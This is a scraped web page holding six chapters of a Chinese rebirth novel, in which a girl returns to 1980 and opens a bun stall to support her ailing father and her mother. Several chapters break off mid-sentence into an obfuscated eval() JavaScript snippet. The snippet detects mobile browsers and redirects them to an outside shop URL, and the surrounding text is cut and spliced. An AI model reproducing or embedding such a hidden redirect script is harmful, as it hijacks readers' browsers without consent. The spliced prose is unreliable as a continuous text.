《重回八零,从摆摊开始》 1. 第一章 “珍珍啊,你清醒一点吧!八年了,人家都已经结婚了!你还是不肯死心,现在还要跟着人家去米国,难道你真要把一辈子都耗在这份没指望的感情上?” “珍珍,爸爸妈妈求求你,不要走,不要再犯傻了……” “哎哟,丽珍啊,你赶快回家看看吧!你爸他在家喝农药了!” “苏丽珍,你爸他死了,死了!被你这个没有心的女儿生生逼死了!你走,你不是要出国吗?” “滚啊!我就当没有你这个女儿,我这辈子都不想再看到你!” 苏丽珍猛然睁开眼睛,直到确定眼前的依旧是没吊棚的老式木棚顶,确定自己还躺在自己卧室那张小木床上,这才轻轻吐出一口气。 擦去额头上的汗水,她慢慢坐起身,目光下意识在这间半大的小屋内游移。 彼时,清晨的阳光正透过剥了漆的乳白色窗子照进来,晃得新糊了一层白麻纸的墙面暖黄一片。 灰色的水泥地面上横着四五条弯弯曲曲的裂缝,靠床边摆了一张老旧书桌,上面一气儿贴满了《白X女》和《草原X姐妹》的旧挂历。 眼前的一切熟悉又陌生,苏丽珍掀开腰间的薄被单,趿上鞋子走到书桌前,缓缓拿起一面红色塑料框圆镜。 尽管昨天晚上就已经回来了,可她一直以为眼前的一切不过是她弥留之际的幻想,所以直到此刻,她才敢真正看一看自己。 镜子里的小姑娘五官稚嫩、皮肤雪白,眼角眉梢都堆满了十六岁少女所拥有的青春纯美。 苏丽珍看了一会儿,才慢慢放下镜子,轻轻闭了闭眼,两滴晶莹的泪水霎时挣脱眼眶,无声掉落。 她以为自己已经悄无声息地冻死在米国的街头,注定死后无人收尸,任由尸身在异国他乡零落成泥,魂魄则坠入阿鼻地狱。 可没想到一睁眼,她竟然不是身在无间地狱受罚,而是回到了从前! 是老天爷知道了她临死前曾幡然悔悟吗? 所以才降下这样的神迹,让她一朝回到十六岁,回到这个所有错误都不曾开始的年纪…… 苏丽珍脸上露出似哭似笑的神情,有那么一瞬间,几乎要狠狠大吼一声,吼出上辈子积郁在胸口十多年的痛苦! 可她的嘴唇颤抖了半天,最终这声吼还是哽在了喉头。 恰在这时,窗外突然传来一阵低语,“卫华,吃完饭有半个点了,快把药吃了吧!” 这声音亲切柔和,像冬夜归途中的明灯,那灯光能穿透重重迷雾照进人的心底,驱走无尽的寒冷与黑暗。 这是妈妈的声音! 事实上,因为昨晚她一直没能从重生的巨大震惊中回过神,所以乍一见到年轻了许多、且依旧疼爱她的双亲时,整个人太过激动和悔恨,竟直接扑在父母怀里痛哭了一场,可把两人吓得不轻! 妈妈更是紧紧搂着她,陪了她大半个晚上才敢离开。 她肯定让爸爸妈妈担心坏了! 苏丽珍想到这里就是一个激灵,瞬时回神,忙快步走到窗前,果然看见院子里母亲李翠英正端着搪瓷缸,劝坐在小凳子上的父亲苏卫华吃药。 苏卫华两年前就被查出患了心脏病。 起初苏卫华自己没当回事,也不好好吃药,加上在机械厂上班,工作又忙又累,导致病情突然加重。去年冬天住了一个多月院,出院后不久就不得不办理了病退手续,在家休养。 自此,更是日日药不离口。 只今天苏卫华不知为啥,任凭李翠英劝了他老半天,却一直摇头不肯吃,“先放放,等中午我再吃好了。” 李翠英自然不依,“那咋行?人大夫再三嘱咐过,这药一天三顿,一顿都不能落,哪能中午再吃!” 没想到苏卫华却是犯起了犟,“我说不吃就不吃!少吃一顿也死不了!” 李翠英怕他生气,即便心里着急,这会儿却不敢硬劝,索性一屁股坐在旁边另一张小凳子上,低头生起了闷气。 见媳妇不高兴了,苏卫华有些心虚,便时不时拿眼觑着她,还偷偷挪凳子,从原本斜对着窗户的位置一点点靠过来,变成大半身子面朝李翠英。 苏丽珍站在窗前,看着嘴犟心软的爸爸以这样别扭的方式跟妈妈低头,心里想笑又有些想哭。 她的爸爸为人好强,上辈子,他一生低过的几回头全都是为了她。 所以才会在一次次对她失望后,以那样绝望的方式结束了自己的生命,也彻底割断了与她的这份父女情份…… “我不用你哄!” 窗外李翠英一句低喝再次打断了她的思绪,她忙又看过去! 原来苏卫华的小凳子不知啥时候早已挪到了紧挨李翠英的位置,一双眼睛正巴巴盯着媳妇的脸色不放。 李翠英顺势板起了脸,“我不用你哄,你要真不想惹我生气,就赶紧吃药!” 谁知苏卫华却抿紧了嘴唇,看了眼对方手里的药,竟还是别过了头! “犟驴!”李翠英这下气坏了,眼眶也瞬时红了! 苏丽珍一看妈妈这回是真动了气,再站不住了,赶忙开门走出屋子。 “妈,爸!” 一看到女儿出来,李翠英紧绷的脸色倒是缓和了不少。 她赶忙把人招呼过来,满脸关切地问道:“珍珍昨晚睡得咋样?现在缓过劲儿来没?” 闺女昨天参加了中考,可能是太累了,下午考完回来,进屋倒头就睡,一直睡到晚上八点多,结果醒了一看见他俩就扑到他们怀里嚎啕大哭! 可把他们两口子吓坏了! 这孩子长这么大还从没这样哭过,差点没把他们两口子的心给哭碎了! 肯定是这试没考好! 想到闺女平时挺上进的,估计是因为太紧张啥的才 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可退职后,现在每月只能拿到原基本工资的百分之四十,也就将将才十八块钱。 李翠英因为苏卫华的关系在机械厂的食堂做临时工,本来说好了这一二年就能转正,只是没想到苏卫华一退,人走茶凉,她的那份临时工也叫人给顶替了下来。 这样一来,一家三口就只能靠着苏卫华每月那十几块钱过活。 收入少了,可花销却越来越多。 打从两口子在机械厂都没了工作,厂子原先分下来的房子也被收了回去,一家三口不得不另外花钱租房子住。 而苏卫华每月要吃药,还得供苏丽珍上学,每个月的那点钱真是捉襟见肘。 所以苏卫华才会萌生出靠减少吃药来省钱的想法! 明明家里的条件已经这么紧了,两口子却还一心惦记着想让苏丽珍这个闺女拿钱出去吃喝散心。 苏丽珍自己知道,上辈子的她说好听了叫天真、不谙世事,说难听了就是自私冷血,完全只顾着自己那一亩三分地! 面对家里每况愈下,父母的愁苦消瘦,她虽然有所察觉,却因为觉得自己的生活没受什么影响,便从不愿多问一句; 后来更是满心都扑在那个人身上,更加没心思为这个家付出哪怕一丝一毫的心力,实在不配为人女! 此刻,她咽下满心对自己的厌恶,咬了咬舌尖,忍住眼泪,忙对两人摇头:“爸、妈,家里有什么我随便吃一口就行!而且我现在什么都不缺,想散心待会儿出去走走就好,不用乱花钱的!” 散心是不必的,不过她待会儿也确实需要出去好好转一转,看看有什么合适的生计。 现在家里的境况不好,她既然重新回来了,自然要想办法挑起这副担子,决不能让爸爸妈妈再像上辈子一样终日贫病忧心,老无所依。 2. 第二章(小修) “啥叫乱花钱,你马上就是大姑娘了,也该买点好看的衣服啥的!”李翠英嗔道。 她不容女儿拒绝,不由分说就从上衣口袋里掏出一个小巧的白色手绢包,飞快打开,取出里面一沓面额不等的钱票。 翻了翻这些零散的钱票,李翠英咬了咬牙,最后只抽出两张纸币揣进自己衣兜,就把剩余的钱票连同手绢一起都塞进了苏丽珍手里! “珍珍,这些你都拿着!听说南湖公园那边有人摆摊卖衣裳,都说样式比百货商店的还好看,还都不要票!你去看看,要是碰到喜欢的就买一件!” 因为心急掏钱,李翠英衣兜上的一枚别针也被她连同手绢一并塞了过来。 这个时候许多人习惯用手绢包钱,加上因为夏天普遍衣服单薄、衣兜太浅,不少人就会用别针别住兜口,防止手绢从衣兜窜出来。 苏丽珍看着面前殷殷注视着自己的父母,心里有了决定,推拒的手缓缓放下,最终改为将那手绢包紧紧攥住。 也顺势把那枚在阳光下泛着银光的别针一同攥进了手心里。 也许是太过用力,也可能是刚才妈妈太急迫,此刻,那枚别针的针尖已经脱出了针头,即使隔着一层柔软的手绢,那尖锐的针尖仍然刺痛了她的手。 十指连心,这滋味不是一般的疼。 可比起能够重新扑进父母怀抱里,再次肆意享受他们的温暖与疼爱,也许这钻心的疼才配她苏丽珍。 家乡凤城,地处东北,是所在省份的省会城市,同时也是本省的经济文化中心。 而1980年的凤城,即便早已是闻名北方的大城,可整体还是处于一个贫穷落后的局面。 走在通往自由市场的长街上,看着大道两边勉强只能算得上齐整的低矮民房和零星几座被油烟浸润的黑洞洞、脏兮兮的筒子楼,苏丽珍不禁有些感叹。 虽然改革开放的春风也给这座老城带来了几许新意,可这种改变与她记忆里后期那种日新月异、翻天覆地的变化程度还是相去甚远! 尽管上辈子她流落异国数年,最终也没能再回到这片土地,可在她生命的后期依然能时常听到些遥远祖国经济腾飞的好消息。 所以,她远比其他人能更清楚地认识到未来的社会形势和经济走势! 而这也是她目前所能倚仗的最大优势。 重活一回,绝了那些自以为是的情情爱爱,她现在满脑子都是怎么尽快改善家里条件,给父母一个优渥的生活环境,好让他们后半辈子过得美满幸福。 现在是六月底,苏丽珍这次中考没能考上现在十分吃香的中专,而是上了市里的高中。 高中正式开学是九月一号,这期间两个月的时间,苏丽珍相信凭借她现在所掌握的一些信息做点小买卖,应该能给家里赚上一笔。 考虑到成本,结合目前家里的情况,她打算从“吃”这方面入手。 她想先摆一个小吃摊! 妈妈李翠英的厨艺一直很好,在机械厂食堂帮工的时候,因为手脚勤快、性子好,隔三差五还能得到一回大师傅的指点。 至于苏丽珍自己,上辈子的她其实在国内的时候压根不会下厨,只是后来一个人偷渡到米国,既没钱、也没人,什么事都只能靠自己,不得已学会了自己做饭,渐渐倒有了几分妈妈李翠英的样子。 不过如今想摆小吃摊,最大的底气却是仗着前世一份意外的机缘。 上辈子她在米国四处流浪时,有幸得到过一本名为《料经》的手抄本。上面详细记载了八大菜系中常用调料的特点和用法,以及许多源自华国各地的酱方、卤方等珍贵配方,甚至还囊括了一些传统特色小吃的调味方法,内容堪称齐全。 即便当时的她刚刚接触厨艺,也能看出这本书有多么珍贵! 不过这书的价值虽高,但她那会儿真正在意的却不是这些。 那时的她身在异乡,居无定所,三餐不济,还要不时应付各种恶霸宵小的骚扰,有时候身心俱疲,而这本旧书册上通篇的汉字,会让她难得感受到一丝来自母国故乡的温存慰藉。 这对当时艰难求存的她来说,真的意义非凡。 所以,那会儿只要稍微能遇上一个相对安稳的落脚点,她就会把这本书借来,一遍遍的翻看、抚摸那些熟悉又陌生的字体,以至于这本书上的内容,她渐渐可以倒背如流。 直到后来,分享这本书给她的人走了,她自己的生命也在寥落中走向终结。临死前,在她终于能够面对自己,正视自己这一辈子犯下的所有过错,并坦然承受一切悔恨带来的锥心之痛时,也只剩下这本书还陪在她身边。 它见证了她的死亡,见证了她那迟来的悔悟…… 心尖一阵细微的刺痛,苏丽珍深吸一口气,强迫自己先不去想那些痛苦的回忆,努力把思绪集中在眼前渐近的喧嚣处。 走了半个小时,终于到了凤城如今最大的自由市场。 自改开后,政策允许农民们把自家的农副产品带进城里贩卖,形成了早期的小市场。后来随着来买卖东西的人越来越多,又吸引来了不少手艺人、工匠。 小市场越来越大,政府干脆直接在这里划出一块地皮,简单修建了一座露天自由市场。 苏丽珍逛了一圈,发现时间过了早上八点以后,早市基本临近尾声,有赶早来卖完了菜的农民已经准备返家了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏丽珍抹了抹头上的汗水,一边把筐里的东西往外倒腾,一边解释道:“爸、妈,这不是刚考完试吗?我想利用假期这段时间摆个小吃摊,一方面,锻炼锻炼自己;一方面做点小买卖也能挣点零花钱……” 没想到不等她说完,一旁的苏卫华就呵斥道:“胡闹!我苏卫华的闺女哪能出去摆摊!这不是丢人吗!” 李翠英也赶紧上前一把拉住苏丽珍忙碌的胳膊,皱眉道:“你这孩子,真是想一出是一出!你正正经经的学生,就是考不上中专,也要上高中的!咋能去摆摊挣钱?你赶紧给我把这主意打消了!” 看着父母难看的脸色,苏丽珍心里当即一个“咯噔”! 3. 第三章 糟了,她怎么把这茬给忘了! 这会儿不像后期,现在做买卖、干个体的基本都是些进不了厂子、没稳定工作的人,还有很多干脆就是小混混出身。 所以在时下人眼里,摆摊做买卖那就是不入流的营生,压根不是正经人干的,准叫人背地里瞧不起! 她光想着摆摊子挣钱,竟把这一茬忘得死死的! 苏丽珍赶忙放下手里的东西,拉着李翠英的手,看了眼黑着脸的苏卫华,唯恐他气急伤身,忙先低头认错:“爸、妈,对不起,你们别生气!这事是我不好,没跟你们商量就先斩后奏。” 果然,看女儿乖顺地认错,苏卫华两口子的脸色也缓和了不少。 苏丽珍见此心里有了一点底儿,便又顺势小心解释起来:“爸、妈,其实我是这样想的。” “我每天上下学都要路过客运站,经常能看到很多人因为不舍得花钱去国营饭店吃饭或者错过了饭点,就只能蹲在大门口吃点干巴巴的饼子、馒头,夏天还好,冬天那些干粮又冷又硬,想想那滋味也不好受。” “所以我就想咱们在客运站门口支个小摊,卖点热乎的包子小吃啥的,尤其我妈的手艺那么好,吃过她做东西的人谁不夸上几句?” “手艺有保证,到时候咱们再搭一点汤汤水水,冬天用热的、夏天用凉的,既能自己挣钱,也给大伙儿提供了方便,这不是挺好一件事吗?” “而且……”她觑了眼明显被她说得意动的李翠英,再接再厉道:“就像我爸平日里教我的,无论干什么,只要咱们踏踏实实,不偷、不抢、不害人,就凭咱自己的良心和双手去做事,那就没啥好丢人的,是吧?” “你这孩子,还学会拿话将我了!” 苏卫华气得够呛,可他虽然脾气不好,却一直是个讲理的人,尤其听了闺女这些想法,也算有理有据,并不是一时热血上头瞎胡闹! 理智上,他其实是有些认可闺女的话,就是情感上还是无法接受! 可他随即又想到,近一年来,因为他的病,拖累得这个家每况愈下。现在,更是连一向文文静静的闺女都想着出去摆摊挣钱了! 老天爷知道,这孩子平时可连菜场都没去过几次啊! 此时此刻,他突然觉得自己真没啥可怨怪的,说来说去,还是他这个当爹的太没用,苦了孩子啊! 苏卫华一时悲从中来,可能是情绪波动太剧烈,他突觉心口窝处传来一阵熟悉的绞痛,脸色也跟着一变! 眼见他面色发青,把李翠英和苏丽珍都吓得够呛,知道他这是犯病了,娘儿俩赶忙过去将人一把搀扶住,让他慢慢坐在木凳上缓一缓。 苏丽珍又飞快把苏卫华之前一直舍不得吃的药端过来,小心地喂父亲吃了下去。 李翠英一边熟练地用手轻揉苏卫华胸膛,一边红着眼睛埋怨道:“都说让你按时吃药、按时吃药,你就是不听,看现在遭的这个罪!” 抱怨完男人,也没放过“挑事”的闺女:“还有珍珍,你也别犟了!放假了没事你就去图书馆,你平时不是最喜欢去那儿吗?以后摆摊做买卖啥的话都不许再提了,听见没!” 其实刚刚听了闺女那番话,李翠英是有些心动的,不为别的,就是如今家里的条件确实太紧张了! 闺女要上学,男人要治病,还有房租、水电,吃喝拉撒,几乎处处要钱!偏偏他们两口子现在还没了工作,只靠卫华每月那点退休金,真是哪哪儿都不到! 这一年来,她不知道多少个夜里愁得睡不着觉! 所以虽说出去摆摊子有些丢脸,可只要能挣到钱,她一个女人家,丢脸也不怕! 只是现在看自家男人反应这么大,她却是不能再接茬了。 而李翠英的想法此刻也恰恰正是苏丽珍心中所想! 这会儿苏丽珍后悔极了! 虽然她是很想尽快挣到钱,可她如今想做的一切前提都是为了能让上辈子亏欠的父母过得健康快乐! 要早知道爸爸对她出去摆摊会这么生气,她是无论如何也不会提这个的! “爸爸,对不起!我错了,我真的错了!我答应您,我以后肯定不会再张罗着出去了,求您千万别生气!” 苏丽珍哭得眼睛通红,一张脸也有些发白。 药效上来,苏卫华也慢慢缓了过来。看闺女被自己吓成这副样子,他心里越发自责,先是长长出了一口气,然后才摇头道:“珍珍啊,其实你先头说的对,咱凭自己劳动挣钱,不偷不抢,对得起良心,那就没啥好丢人的!” “这事啊,是爸想左了!” 苏卫华这反应让母女俩都吃惊不已。 “卫华!” “爸!” 苏卫华却再次朝娘儿俩摆摆手,然后轻轻擦去苏丽珍脸上的泪水,又道:“好闺女,爸想明白了!你想去摆摊就去吧,爸不拦着你了!” 说完,又反过来拉住李翠英的手轻轻握了握。 夫妻这么多年,他自然看得出其实刚刚对于自家闺女的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746373|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议,他媳妇也有些心动了。 他已经把这个家拖入谷底了,没必要为了守着自己那点不值钱的脸面让媳妇和闺女跟着他遭罪。 娘儿俩很快也意识到苏卫华并不是故意置气,而是真心实意认可了这件事,惊讶之余,也确实觉得高兴。 李翠英自不必说,毕竟细想想,眼下出去摆摊也的确是最适合他们家的一条出路。 苏丽珍更是欣喜不已,这种“当你极想认真去做一件事,而你身边最重要的亲人也全部真心支持你”的感觉真的特别幸福。 苏卫华抛开了思想包袱,一家人达成一致,两口子也能静下心来想一想闺女卖包子的提议。 首先,比起干别的,这卖包子成本确实不算高,即便如今家里条件紧张,这个风险他们也承担得起; 再者,这些年,每逢邻居朋友家里来人请客吃饭,总要来请李翠英过去帮忙掌勺,但凡尝过她手艺的,就没一个不夸的!所以对于李翠英的厨艺,苏卫华同闺女苏丽珍一样,也是满怀信心! 这样看来,卖包子确实是个不错的选择! 既然做好了决定,一家人也没耽搁。毕竟如今天气热了,苏丽珍买回来的那些肉可放不住,当下就开始行动起来。 一家三口商量好,由李翠英先发面,苏丽珍负责择菜洗菜,而坚决不肯休息的苏卫华就给娘儿俩打下手。 苏丽珍很快就洗出来一大盆的包菜,趁着青菜沥水的空档,忙先回自己屋找出纸笔,按着上辈子的记忆,从《料经》中调制馅料的方子里挑了几个相对简单些的飞快写了下来。 有了这料经上的方子,她相信凭借妈妈李翠英在厨艺上的天赋,以及对烹饪的喜爱,今后肯定能事半功倍。 而李翠英一听说有馅料方子,果然眼睛一亮,连手上的活计都顾不上了,急吼吼就催着闺女要看方子。 可惜她没念过几年书,识的字不多,闺女手里这张纸上的字虽然没几个,可她还是认不全。 “好闺女,妈看不明白,赶快给妈念念!” 苏丽珍忙把几个方子都念了一遍,为了方便李翠英琢磨,还特地放慢了语速。 李翠英起先跟着默默念叨了几遍,之后原地琢磨了一会,很快就拍起了巴掌,直乐道:“哎呀,看看人家这料用得多巧啊!珍珍,我看你买回来那筐里就有这几种香料,不如咱家今天这包子就照这方子试试吧,我感觉错不了!” 苏丽珍自然同意,本来她买那些香料也是为了今天的包子。 4. 第四章 李翠英高兴之余又问起这些方子的来历,苏丽珍便推说是自己从图书馆里一本残破的旧书上看到的,想着李翠英或许会喜欢,所以特意抄录了下来。 李翠英很喜欢下厨,用原先机械厂食堂大师傅的话说,就是对这一行“钻”得很!这一点,了解她的人都知道。 所以李翠英听完不疑有他,倒是觉得闺女就是跟她贴心。 “好闺女,你可真懂妈!妈就稀罕这些东西!” 她看着闺女这些天因为中考熬得有些清瘦的小脸,再想到这孩子竟然懂事地张罗着要摆摊贴补家用,不禁又是欣慰、又是心疼。 “看你这几天瘦的!妈这回要是能挣着钱,就给你买好吃的,天天换样做,给你好好补一补!” 李翠英此刻再次坚定了自己的内心,只要能挣到钱,不管别人怎么笑话,她这个摊都摆定了! 妈妈的话却险些让苏丽珍再次红了眼眶。 无论是上辈子,还是这一世,她的爸爸妈妈始终都把她放在第一位。 前世的她究竟是有多糊涂,才会为了追求自己所谓的爱情,做尽蠢事,让深爱她的父母伤心欲绝! 那时的她怎么还能算个人? 巨大的自厌情绪几乎将她湮灭,可是为了不让李翠英看出她内心的煎熬,她只好顺势将脸贴在对方肩膀处,忍着泪意低低道:“妈,你和爸真好……” 搂着闺女、一心沉浸在做包子挣钱想法里的李翠英恍惚听到这么一句,却“噗嗤”一声笑了起来,“妈当然好!你爸才不好,那就是个大犟驴!” 正巧苏卫华将沥干水的包菜端进屋,一听这话,当时就不乐意了,故意拉着个脸:“背后说人坏话可不是好同志啊!” “再说,犟驴咋不好?没听人说‘天上龙肉,地上驴肉’吗?犟驴可值钱呢!” 这下连苏丽珍都被逗笑了! 李翠英白了他一眼,没好气儿道:“瞅把你给能的!我要说你胖,你回头还不得跟猪比去!” 说完自己也“噗嗤”一声乐了。 闹了两句,李翠英就“献宝”似的把苏丽珍给她抄的馅料方子拿给苏卫华看,言语间满满的雀跃和得意。 苏卫华也很高兴! 他不懂这些,可他心里明白媳妇是真的很喜欢做饭这门手艺,只是他没能耐,不能帮她保住机械厂食堂这份工作。 如今看闺女贴心地找来这几个配料方子,把翠英哄得这么开心,他也打心眼里高兴。 李翠英手脚利落地和好了面,等着面发的工夫,又准备剁肉馅,一旁的苏卫华就抢着要剁包菜,李翠英自然不答应。 两口子争了半天,结果菜刀却成功被苏丽珍拿到了手! 她也不含糊,支上菜板子就开始动手切起菜来。 苏卫华和李翠英不禁有些担忧,毕竟苏丽珍长这么大可连葱花都没切过几回,这上来就剁菜馅儿能行吗? 两口子在一旁欲言又止,可没想到看了一会儿,他们就惊讶地发现原来闺女还真有两下子。 只见她先是把包菜一片片码放整齐,先横切丝,后竖切末,虽说动作慢了些,可这手活计还真是有模有样,相当不错! “妈,您别忘了,小时候每次只要您一进厨房,我可是必定要从头跟到尾的!有些东西我其实早就看会了,就是差手熟而已!”苏丽珍手上动作不停,一边故作自然地抬起头对两人解释道。 其实她心里清楚,她现在是不应该会这些的,只是她真的不想再像上辈子那样心安理得地享受父母的付出! 她想为爸爸妈妈,为这个家做点什么! 一刻都不想等! 不过两口子果然没有一点怀疑,听了苏丽珍的话反而都觉得十分惊喜! 李翠英当即满脸自豪道:“哎呦,这可真是我闺女!卫华,看看这孩子,这股子劲儿准是随了我了!” 苏卫华也乐:“我说闺女,你这一手藏的挺深啊!别说,你现在可把爸都给比下去了!” 两口子欣喜的同时,也有些欣慰,从前他们总觉得闺女自打上了初中,性格就越来越“独”,似乎对他们这当爹妈的也不太爱亲近了。 可如今看来,闺女分明还跟小时候一样! 兴许就是这几年读书的压力太大了,才让孩子一点都不快乐。 想到这些,夫妻俩悄悄对视了一眼,都在心里打定主意,这次中考不管孩子考成啥样,他们都不会多说什么,绝不会给孩子任何负担。 苏丽珍不知道父母心里的想法,只是看着他们脸上满足的笑容,心里某一处却像针扎一样疼。 她的爸爸妈妈真的很容易满足,明明她只是做了这么一点微不足道的事! 此刻,她只有在心里一遍遍感激上苍,给了她一次重来的机会,让她能好好弥补他们。 而有了苏丽珍的帮忙,相对繁重的剁馅工作也轻松了不少,一家人轮番上阵,很快就准备好了一荤一素两大盆馅料。 荤的是猪肉葱花馅儿,素的是包菜粉条馅儿,最后再统一由李翠英参考那几个馅料方子加上各种佐料调好。 这馅料方子也果真厉害,包子馅刚调好就散发出了一股浓郁的香味! 一家人闻着这股香味,顿时信心大增。苏卫华和苏丽珍父女俩擀皮,李翠英负责动手包。 一张张面皮飞快在李翠英的手指间变成一个个白胖的包子,上面的褶皱均匀整齐的好像是拿笔画上去一样,光是这么看着就让人觉着稀罕了。 三人一口气就把两盆馅料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一趟不知道要多长时间,所以苏丽珍还细心地把家里两个小板凳也一并带上了! 一家人锁好门就直奔了客运站。 原本李翠英母女是不想让苏卫华一起去的,可苏卫华死活不干,当着娘儿俩的面把自己的药瓶子揣进衣兜里,啪啪拍得震天响,一口咬定自己带着药,保准不会有事! 娘儿俩拗不过他,也只好让他跟着了。 从苏家到客运站,步行差不多要二十五分钟。现在天气已经热起来了,食物不容易凉,所以支着包子屉的炉子不需要太大火,熬汤的锅也只要保证它一直开着就成。 5. 第五章 一路不停歇,等他们到了客运站也差不多下午一点半了,这个时间其实已经有点晚了。 可这也没办法! 因为现在都是用老面引子发面,发面的时间相对较长,所以想吃馒头包子之类的面食,就必须要提前准备。 就这次,他们能赶在两点前过来,还多亏了李翠英今天本来打算给她蒸点糖三角吃,这才赶巧先发好了一部分面。 到了客运站门口,所幸尽管是这不早不晚的时间,但因为凤城是省城,所以由此发车或回程的客车很多,客流量还是不小的。 其实客运站的位置接近市中心,前后左右的街道都堪称热闹,不说坐车的人,就是来往的行人也不少。 眼下,客运站大门东边就是一家国营饭店,这饭店规模不小,不过这个时间通常店门紧闭,不到饭点是不会打开的。 大门紧邻的西边是一家副食店,店门口还支了一个卖香烟和冰棍的小摊。 从副食店往马路的方向大约三四米远的一棵大树下,还有一份卖杏子、草帽等农副产品的摊子。 此外,就是西边距离客运站十多米的一间报刊亭。 这么开阔的地方,也就只有这么一两份卖东西的摊子,他们连位置都不用费心挑了。 看了一圈,一家三口最后把三轮车推到了卖杏子的小摊旁边。 卖杏子的摊主是个戴草帽的年轻人,看到苏丽珍一家推着车过来,只是抬头看了眼,就又飞快把目光收回去了。 加上对方把帽子压得很低,苏丽珍都没来得及看清他的脸,但瞧对方那瘦削的身板儿估摸年岁不大。 他们刚把车子支好,李翠英还没顾上问一句苏卫华的身体,就见一伙人三三两两从客运站里出来,其中有不少人背着行李,应该是正赶上有车到站了。 没想到这伙人一出来就吵嚷开了! “哎,这什么味儿啊?这么香!” “好像谁家熬骨头汤了!” “这也太馋人了!我这坐了大半天车,肚子正饿呢!” “哎,你们看,是不是那边那个小摊啊!” 看着这么一大群儿人七嘴八舌地走过来,苏卫华和李翠英两口子当时就懵了! 虽然来的路上两人自觉已经在心里做好了准备,可事到临头,当真站在这个位置的时候,他们才发觉这件事竟远比他们想的要难。 他们不知道该开口说些什么,更想不出来该怎么招呼这些路过的乘客,只能乍着手、张着嘴,木愣愣地杵在那里。 而父母脸上的茫然无措落在苏丽珍眼中,也叫她一阵心疼!可她也知道这是爸爸妈妈必经的一步,任她也帮不上忙,所以只能狠心地装作没发现,努力把注意力都放到眼前这群乘客身上。 在她看来,刚到就能赶上这么一拨儿人实在是运气不错,所以当即主动迎上前,扬着笑容对众人热情道:“各位叔叔、阿姨,坐车辛苦了!有想买包子垫垫的吗?” “我们这儿有肉包子、素包子,好吃不贵,个大实惠,大家买点尝尝吧!”说罢,就将蒸笼盖子掀开一半,露出里面一个个白白胖胖的大包子。 圆胖、褶又多的大包子,再加上旁边香得连锅盖都压不住的大骨汤,果真就吸引住了不少人。 当即就有人开口:“哎,小姑娘,你们这包子包得不错啊!这都什么馅啊?” 苏丽珍:“肉包子就是猪肉大葱馅的,跟国营饭店一个价,一毛八一个;素包子是包菜粉条馅,一个只要一毛钱。两种包子全都不要票。” 这价格是一家三口来时路上定下的,完全是参考了市内国营饭店的标准。 旁边一个拎着提包的四十多岁的女同志立马道:“全素的一毛?我记得国营饭店半荤半素的是一毛三一个。” 苏丽珍迅速瞥了眼对方身上那件堪称时髦的白底小碎花的确良衬衫,笑容不变:“阿姨说的对!但是您看,我们这的肉包子跟国营饭店的一样大,但这全素的比肉包子还要大上一圈,一个还便宜了三分钱!” “像阿姨您这样身材苗条的,要是饭量小,基本一个素包子就能吃饱,划算得很!” 苏丽珍侧面的恭维显然让女同志十分受用,她忍不住笑了起来:“小姑娘嘴巴可真甜!行吧,看你们包子包的确实不错,就给我一样来一个吧!” 眼瞅着这第一单生意就来了,苏丽珍心中振奋,面上笑容越发好看,“好的,阿姨,您带饭盒了吗?我这就给您装!” 这会儿还没有餐盒、包装袋之类的东西,大伙儿出门一般都会自带饭盒、水杯,相对麻烦了一些。 果然,那女同志立马应了一声,“带了!” 苏丽珍接过对方的饭盒,从篮子里取出自带的长筷子,利索地将蒸屉里的肉包子和素包子各捡了一个装好。 那女同志看了眼苏丽珍夹包子 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女同志自然十分高兴,“哎呦,还有这好事呢!正好我带了缸子!小姑娘,你们这摊子也太讲究了!” 苏丽珍往对方带来的搪瓷缸里打了一大勺汤递回去,全程都十分礼貌,“阿姨客气了!欢迎您下次再来!” 而一见大骨汤真的白送,旁边围观的不少人立马也站不住了。 “哎,小姑娘,给我也来两个包子,也要一荤一素!” “我要两个肉的!” 大伙儿七嘴八舌喊起了包子,苏丽珍动作迅速地又卖出了几份。 有坐了一天车早已饥肠辘辘的人几乎是一拿到包子,就当场吃了起来,不过只是一口,他们就被这满嘴的肉香给惊艳住了! “哎妈呀,这包子可太香了!” “这肉也挺多!真实惠啊!” “太好吃了!你说人家这素馅的咋比我家肉馅的都好吃呢?” 也有人喝了一口大骨汤,立马忍不住咂嘴,“好喝,这个味儿可不比城东国营食堂的牛肉汤差!” 有了这些“活招牌”,摊子越发热闹起来,几乎一眨眼四周就围上来不少人! “我要两个素包子!” “小姑娘,还是我,再给我一样来一个!” “我跟他一样!小妹妹,给你饭盒!” 6. 第六章 苏卫华在旁边眼瞅着媳妇和闺女忙得不可开交,他也想上前帮忙! 可他这张嘴啊,紧要关头就像被胶水糊住了一样,半天吐不出一个字来!也不知道自己能干啥,顿时急得脑瓜门子直冒汗! 还是苏丽珍一眼就瞧出他的窘境,当即喊道:“妈,你来打汤,让我爸负责收钱找钱!” 还真别说,闺女这声喊就像按下了苏卫华身上看不见的按钮,他仿佛一下就有了主心骨,这心不慌了,嘴也不瓢了! 虽然刚开始收钱的时候还有些笨拙,可等连续为几个顾客收钱、找钱后,他也开始能适应这个节奏了。 就这样,苏丽珍卖包子,李翠英打汤,苏卫华收钱。一家三口配合默契,半个多小时,这一大锅的包子就卖出了大半! 